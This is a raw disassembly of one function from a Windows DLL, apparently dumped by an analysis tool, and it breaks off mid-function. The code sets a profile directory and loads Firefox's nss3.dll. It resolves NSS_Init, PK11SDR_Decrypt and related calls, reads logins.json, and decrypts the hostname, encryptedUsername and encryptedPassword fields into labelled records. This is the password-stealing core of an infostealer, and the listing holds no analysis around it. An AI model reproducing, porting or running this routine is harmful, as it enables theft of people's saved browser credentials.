Function at 0x1800914e0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4a8]
sub rsp, 0x5a8
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x478], rax
mov qword [rsp + 0x60], rcx
xor r13d, r13d
mov r12d, 0xf
mov qword [rbp + 0x2f8], r13
lea rcx, [rbp + 0x2a8]
mov qword [rbp + 0x300], r12
mov byte [rbp + 0x2e8], r13b
mov r14, r9
mov rsi, r8
mov qword [rsp + 0x30], r8
mov r15, rdx
mov qword [rsp + 0x38], rdx
call fcn.1800bfad0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18009155f
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x1800915af
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800915aa
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180092f1e
mov rcx, r8
call fcn.1800cd020
xor ecx, ecx
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x10], rcx
mov byte [rbx], cl
test rdi, rdi
jne 0x1800916b9
mov rbx, qword [rsp + 0x60]
lea rdx, [0x18010c0b0]
xor r8d, r8d
mov byte [rbx], cl
mov rcx, rbx
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], r12
call fcn.1800c0190
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009161f
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009161a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180092f24
mov rcx, r8
call fcn.1800cd020
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], r12
mov byte [r15], dil
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x180091664
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x18009165f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180092f24
mov rcx, r8
call fcn.1800cd020
mov qword [rsi + 0x10], rdi
mov byte [rsi], dil
mov qword [rsi + 0x18], r12
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800916a9
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1800916a4
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180092f24
mov rcx, r8
call fcn.1800cd020
mov qword [r14 + 0x10], rdi
mov byte [r14], dil
mov qword [r14 + 0x18], r12
jmp 0x180092ef2
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x18012da28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x18012da68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x18012da50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x18012da20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x18012d9b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x18012da40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [rsi + 0x10]
xor edi, edi
mov qword [0x18012d9f0], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], r12
lea rdx, [r8 + 0xc]
mov byte [rsp + 0x40], dil
cmp rdx, r12
jbe 0x18009178b
lea rcx, [rsp + 0x40]
call fcn.1800c6590
mov r8, qword [rsi + 0x10]
mov qword [rsp + 0x50], rdi
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
jb 0x180091798
mov rdx, qword [rsi]
lea rcx, [rsp + 0x40]
call fcn.1800bf920
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x40]
call fcn.1800bf920
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
lea rdx, [0x180116c50]
cmovae rcx, qword [rsp + 0x40]
call fcn.1800d8f38
test rax, rax
je 0x1800917e7
mov rcx, rax
call fcn.1800d8fc8
mov bl, 1
jmp 0x1800917e9
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180091826
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091821
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f2a
call fcn.1800cd020
movaps xmmword [rsp + 0x590], xmm6
movaps xmmword [rsp + 0x580], xmm7
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x40], dil
test bl, bl
je 0x180092e90
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
jb 0x18009185a
mov rcx, qword [rsi]
call qword [0x18012da28]
mov rdx, rsi
lea rcx, [rbp + 0x2c8]
call fcn.1800bfad0
mov rcx, rax
call fcn.180090a30
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x318], rdi
mov qword [rbp + 0x320], r12
mov byte [rbp + 0x308], dil
inc r8
cmp byte [rax + r8], dil
jne 0x180091893
mov rdx, rax
lea rcx, [rbp + 0x308]
call fcn.1800c0190
cmp qword [rbp + 0x318], rdi
jbe 0x180092e4d
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x450]
movups xmmword [rbp + 0x450], xmm0
mov qword [rbp + 0x470], rax
movups xmmword [rbp + 0x460], xmm0
call fcn.1800bec70
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x428]
movups xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x448], rax
movups xmmword [rbp + 0x438], xmm0
call fcn.1800bec70
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x400]
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x420], rax
movups xmmword [rbp + 0x410], xmm0
call fcn.1800bec70
mov rdx, qword [rbp + 0x320]
lea rbx, [rbp + 0x308]
mov rax, qword [rbp + 0x308]
xorps xmm0, xmm0
cmp rdx, 0x10
mov qword [rbp + 0x340], r12
movups xmmword [rbp + 0x390], xmm0
cmovae rbx, rax
mov qword [rbp + 0x380], r12
xor ecx, ecx
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x338], rcx
mov r15, r12
mov byte [rbp + 0x328], cl
mov rsi, r12
mov qword [rbp + 0x378], rcx
mov rdi, r12
mov byte [rbp + 0x368], cl
mov qword [rbp + 0x358], rcx
mov byte [rbp + 0x348], cl
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
nop word [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x318]
lea rcx, [rbp + 0x308]
cmovae rcx, rax
lea r9, [rbp + 0x450]
add rdx, rcx
lea r8, [rbp + 0x390]
mov rcx, rbx
call fcn.1800c5a00
test al, al
je 0x180092bc5
mov rcx, qword [rbp + 0x3a8]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x3a0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x180091a5c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x180091a6b
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
jmp 0x180091a73
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x28], xmm0
mov rdx, qword [rbp + 0x28]
xor r15d, r15d
mov r8, qword [rbp + 0x30]
mov eax, 0xf
mov qword [rbp - 8], r15
mov qword [rbp], rax
mov byte [rbp - 0x18], r15b
cmp rdx, r8
je 0x180091aa4
sub r8, rdx
lea rcx, [rbp - 0x18]
call fcn.1800c0190
mov rax, qword [rbp]
cmp rax, 0x10
lea rcx, [rbp - 0x18]
cmovae rcx, qword [rbp - 0x18]
call fcn.1800913c0
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r15b
jne 0x180091ac0
mov rdx, rax
lea rcx, [rbp + 0x328]
call fcn.1800c0190
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x180091b13
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091b0e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f30
call fcn.1800cd020
cmp qword [rbp + 0x320], 0x10
lea rdx, [rbp + 0x308]
lea r9, [rbp + 0x428]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x308]
lea r8, [rbp + 0x390]
add rdx, qword [rbp + 0x318]
mov rcx, rbx
call fcn.1800c5a00
mov rcx, qword [rbp + 0x3a8]
mov rax, rsi
mov r8, qword [rbp + 0x3a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x180091b82
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x180091b91
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
jmp 0x180091b99
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
mov rdx, qword [rbp + 0x38]
mov r8, qword [rbp + 0x40]
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x200], 0xf
mov byte [rbp + 0x1e8], r15b
cmp rdx, r8
je 0x180091bce
sub r8, rdx
lea rcx, [rbp + 0x1e8]
call fcn.1800c0190
lea rcx, [rbp + 0x1e8]
call fcn.1800911f0
mov rcx, rax
call fcn.1800913c0
mov r8, rdi
inc r8
cmp byte [rax + r8], r15b
jne 0x180091be5
mov rdx, rax
lea rcx, [rbp + 0x368]
call fcn.1800c0190
cmp qword [rbp + 0x320], 0x10
lea rdx, [rbp + 0x308]
lea r9, [rbp + 0x400]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x308]
lea r8, [rbp + 0x390]
add rdx, qword [rbp + 0x318]
mov rcx, rbx
call fcn.1800c5a00
mov rcx, qword [rbp + 0x3a8]
mov rax, rsi
mov r8, qword [rbp + 0x3a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x180091c6c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x180091c7b
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
jmp 0x180091c83
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x48], xmm0
mov rdx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x50]
mov qword [rbp + 0x218], r15
mov qword [rbp + 0x220], 0xf
mov byte [rbp + 0x208], r15b
cmp rdx, r8
je 0x180091cb8
sub r8, rdx
lea rcx, [rbp + 0x208]
call fcn.1800c0190
lea rcx, [rbp + 0x208]
call fcn.1800911f0
mov rcx, rax
call fcn.1800913c0
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x180091cd0
mov rdx, rax
lea rcx, [rbp + 0x348]
call fcn.1800c0190
mov r8d, 9
mov qword [rbp + 0x118], r15
cmp qword [rbp + 0x338], r8
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x108]
mov qword [rbp + 0x120], 0xf
cmovb r8, qword [rbp + 0x338]
cmp qword [rbp + 0x340], 0x10
mov byte [rbp + 0x108], r15b
cmovae rdx, qword [rbp + 0x328]
call fcn.1800c0190
mov rdx, qword [rbp + 0x120]
lea rax, [rbp + 0x108]
mov rcx, qword [rbp + 0x108]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x118], 9
jne 0x180091d7a
movabs r8, 0x2f3a656d6f726863
cmp qword [rax], r8
jne 0x180091d7a
cmp byte [rax + 8], 0x2f
jne 0x180091d7a
xor dil, dil
jmp 0x180091d7d
mov dil, 1
cmp rdx, 0x10
jb 0x180091db0
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091dab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f54
call fcn.1800cd020
test dil, dil
je 0x180092b30
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x180091dc9
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009248f
cmp byte [rcx], 0x30
jne 0x18009248f
mov rsi, qword [rbp + 0x338]
mov rcx, rax
mov rdi, qword [rbp + 0x378]
test rsi, rsi
je 0x1800924a0
test rdi, rdi
je 0x1800924a0
cmp qword [rbp + 0x358], r15
je 0x1800924a0
lea rdx, [r13 + 1]
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r15b
cmp rdx, 0x10
jb 0x180091e38
lea rcx, [rsp + 0x68]
call fcn.1800c6590
mov qword [rsp + 0x78], r15
cmp r12, 0x10
lea rdx, [rbp + 0x2e8]
mov r8, r13
lea rcx, [rsp + 0x68]
cmovae rdx, qword [rbp + 0x2e8]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rsp + 0x68]
call fcn.1800bf920
cmp qword [rbp + 0x340], 0x10
lea rdx, [rbp + 0x328]
mov r8, rsi
lea rcx, [rsp + 0x68]
cmovae rdx, qword [rbp + 0x328]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp + 0x128]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x300]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x228], xmm6
movups xmmword [rbp + 0x238], xmm7
cmp rdx, 0x10
jb 0x180091f35
mov rcx, qword [rbp + 0x2e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091f30
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f36
call fcn.1800cd020
mov rdx, qword [rbp + 0x140]
movups xmmword [rbp + 0x2e8], xmm6
movups xmmword [rbp + 0x2f8], xmm7
cmp rdx, 0x10
jb 0x180091f84
mov rcx, qword [rbp + 0x128]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091f7f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f36
call fcn.1800cd020
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x138], r15
mov qword [rbp + 0x140], 0xf
mov byte [rbp + 0x128], r15b
cmp rdx, 0x10
jb 0x180091fd9
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091fd4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f36
call fcn.1800cd020
mov rsi, qword [rbp + 0x238]
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r15b
lea rdx, [rsi + 1]
cmp rdx, 0x10
jb 0x180092007
lea rcx, [rbp - 0x78]
call fcn.1800c6590
mov qword [rbp - 0x68], r15
cmp qword [rbp + 0x240], 0x10
lea rdx, [rbp + 0x2e8]
mov r8, rsi
lea rcx, [rbp - 0x78]
cmovae rdx, qword [rbp + 0x228]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rbp - 0x78]
call fcn.1800bf920
cmp qword [rbp + 0x380], 0x10
lea rdx, [rbp + 0x368]
mov r8, rdi
lea rcx, [rbp - 0x78]
cmovae rdx, qword [rbp + 0x368]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp + 0x148]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x300]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x248], xmm6
movups xmmword [rbp + 0x258], xmm7
cmp rdx, 0x10
jb 0x180092105
mov rcx, qword [rbp + 0x2e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092100
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f3c
call fcn.1800cd020
mov rdx, qword [rbp + 0x160]
movups xmmword [rbp + 0x2e8], xmm6
movups xmmword [rbp + 0x2f8], xmm7
cmp rdx, 0x10
jb 0x180092154
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009214f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f3c
call fcn.1800cd020
mov rdx, qword [rbp - 0x60]
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x160], 0xf
mov byte [rbp + 0x148], r15b
cmp rdx, 0x10
jb 0x1800921a8
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800921a3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f3c
call fcn.1800cd020
mov rdi, qword [rbp + 0x258]
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], r15b
lea rdx, [rdi + 1]
cmp rdx, 0x10
jb 0x1800921d6
lea rcx, [rbp - 0x58]
call fcn.1800c6590
mov qword [rbp - 0x48], r15
cmp qword [rbp + 0x260], 0x10
lea rdx, [rbp + 0x2e8]
mov r8, rdi
lea rcx, [rbp - 0x58]
cmovae rdx, qword [rbp + 0x248]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rbp - 0x58]
call fcn.1800bf920
cmp qword [rbp + 0x360], 0x10
lea rdx, [rbp + 0x348]
mov r8, qword [rbp + 0x358]
lea rcx, [rbp - 0x58]
cmovae rdx, qword [rbp + 0x348]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp + 0x168]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x178], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x300]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x268], xmm6
movups xmmword [rbp + 0x278], xmm7
cmp rdx, 0x10
jb 0x1800922d8
mov rcx, qword [rbp + 0x2e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800922d3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f42
call fcn.1800cd020
mov rdx, qword [rbp + 0x180]
movups xmmword [rbp + 0x2e8], xmm6
movups xmmword [rbp + 0x2f8], xmm7
cmp rdx, 0x10
jb 0x180092327
mov rcx, qword [rbp + 0x168]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092322
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f42
call fcn.1800cd020
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0x178], r15
mov qword [rbp + 0x180], 0xf
mov byte [rbp + 0x168], r15b
cmp rdx, 0x10
jb 0x18009237b
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092376
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f42
call fcn.1800cd020
mov rdi, qword [rbp + 0x278]
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], r15b
lea rdx, [rdi + 1]
cmp rdx, 0x10
jb 0x1800923a9
lea rcx, [rbp + 8]
call fcn.1800c6590
mov qword [rbp + 0x18], r15
cmp qword [rbp + 0x280], 0x10
lea rdx, [rbp + 0x2e8]
mov r8, rdi
lea rcx, [rbp + 8]
cmovae rdx, qword [rbp + 0x268]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x18010d0cc]
lea rcx, [rbp + 8]
call fcn.1800bf920
mov rdx, qword [rbp + 0x300]
cmp rdx, 0x10
jb 0x180092423
mov rcx, qword [rbp + 0x2e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009241e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f48
call fcn.1800cd020
movups xmm0, xmmword [rbp + 8]
xor r8d, r8d
lea rdx, [0x18010c0b0]
movups xmm1, xmmword [rbp + 0x18]
lea rcx, [rbp + 0x328]
movups xmmword [rbp + 0x2e8], xmm0
movups xmmword [rbp + 0x2f8], xmm1
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x368]
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x348]
call fcn.1800c0190
mov rcx, qword [r14 + 0x18]
mov r12, qword [rbp + 0x300]
mov r13, qword [rbp + 0x2f8]
jmp 0x180092492
mov rcx, rax
mov rdi, qword [rbp + 0x378]
mov rsi, qword [rbp + 0x338]
mov rax, r14
cmp rcx, 0x10
jb 0x1800924ac
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x180092b20
cmp byte [rax], 0x31
jne 0x180092b20
test rsi, rsi
je 0x180092b20
test rdi, rdi
je 0x180092b20
cmp qword [rbp + 0x358], r15
je 0x180092b20
lea rdx, [r13 + 3]
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], r15b
cmp rdx, 0x10
jb 0x180092506
lea rcx, [rbp - 0x38]
call fcn.1800c6590
mov qword [rbp - 0x28], r15
cmp r12, 0x10
lea rdx, [rbp + 0x2e8]
mov r8, r13
lea rcx, [rbp - 0x38]
cmovae rdx, qword [rbp + 0x2e8]
call fcn.1800bf920
mov r8d, 3
lea rdx, [0x180116cb4]
lea rcx, [rbp - 0x38]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116cb0]
lea rcx, [rbp - 0x38]
call fcn.1800bf920
mov r8d, 7
lea rdx, str.Firefox
lea rcx, [rbp + 0xe8]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116cb0]
lea rcx, [rbp + 0xc8]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
cmp qword [rbp + 0x340], 0x10
lea rdx, [rbp + 0x328]
mov r8, rsi
lea rcx, [rbp + 0xa8]
cmovae rdx, qword [rbp + 0x328]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116cb0]
lea rcx, [rbp + 0x88]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
cmp qword [rbp + 0x380], 0x10
lea rdx, [rbp + 0x368]
mov r8, rdi
lea rcx, [rbp + 0x68]
cmovae rdx, qword [rbp + 0x368]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rdx, [0x180116cb0]
lea rcx, [rbp + 0x1c8]
call fcn.1800bf920
cmp qword [rbp + 0x360], 0x10
lea rdx, [rbp + 0x348]
mov r8, qword [rbp + 0x358]
lea rcx, [rbp + 0x1a8]
cmovae rdx, qword [rbp + 0x348]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 3
lea rdx, [0x180116cac]
lea rcx, [rbp + 0x188]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x198], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x300]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x288], xmm6
movups xmmword [rbp + 0x298], xmm7
cmp rdx, 0x10
jb 0x1800927c0
mov rcx, qword [rbp + 0x2e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800927bb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0x1a0]
movups xmmword [rbp + 0x2e8], xmm6
movups xmmword [rbp + 0x2f8], xmm7
cmp rdx, 0x10
jb 0x18009280f
mov rcx, qword [rbp + 0x188]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009280a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0x1c0]
mov qword [rbp + 0x198], r15
mov qword [rbp + 0x1a0], 0xf
mov byte [rbp + 0x188], r15b
cmp rdx, 0x10
jb 0x180092869
mov rcx, qword [rbp + 0x1a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092864
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0x1e0]
mov qword [rbp + 0x1b8], r15
mov qword [rbp + 0x1c0], 0xf
mov byte [rbp + 0x1a8], r15b
cmp rdx, 0x10
jb 0x1800928c3
mov rcx, qword [rbp + 0x1c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800928be
